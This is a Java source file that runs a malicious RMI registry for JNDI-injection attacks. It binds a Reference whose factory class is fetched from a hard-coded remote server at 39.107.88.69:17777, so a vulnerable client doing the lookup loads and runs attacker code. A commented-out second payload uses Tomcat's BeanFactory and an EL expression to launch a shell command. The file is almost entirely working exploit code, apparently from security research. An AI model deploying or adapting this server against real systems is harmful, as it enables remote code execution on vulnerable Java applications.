package com.technology.server;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import com.technology.client.IPUtil;

import javax.naming.*;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

//import org.apache.naming.ResourceRef;
//import org.apache.naming.factory.BeanFactory;

public class RMIServer {
	private static final Integer rmiPort = 7777;//
	private static final String remoteClassServer = "http://" + "39.107.88.69" + ":" + 17777 + "/";

	public static void main(String[] args) throws Exception {
		System.out.println("java.rmi.server.hostname:" + System.getProperty("java.rmi.server.hostname") + ",remoteClassServer:" + remoteClassServer);
		System.setProperty("java.rmi.server.hostname", "39.107.88.69");
		System.out.println("java.rmi.server.hostname:" + System.getProperty("java.rmi.server.hostname") + ",remoteClassServer:" + remoteClassServer);
		Registry registry = LocateRegistry.createRegistry(rmiPort);
//		Reference reference = new Reference("com.technology.server.Exploit");
		/** Payload1: Exploit JNDI Reference with remote factory **/
		Reference reference = new Reference("com.technology.domain.Exploit",
				"com.technology.domain.ExploitFactory",
				remoteClassServer
		);
		ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
		registry.bind("testObj", referenceWrapper);
		System.out.println(System.currentTimeMillis()+",java.rmi.server.hostname:" + System.getProperty("java.rmi.server.hostname") + ",remoteClassServer:" + remoteClassServer);

		/** Payload2: Exploit with JNDI Reference with local factory Class **/
//		ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
		//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
//		ref.add(new StringRefAddr("forceString", "KINGX=eval"));
		//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
//		ref.add(new StringRefAddr("KINGX", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','/Applications/Calculator.app/Contents/MacOS/Calculator']).start()\")"));
		System.out.println(referenceWrapper.getReference());
	}
}
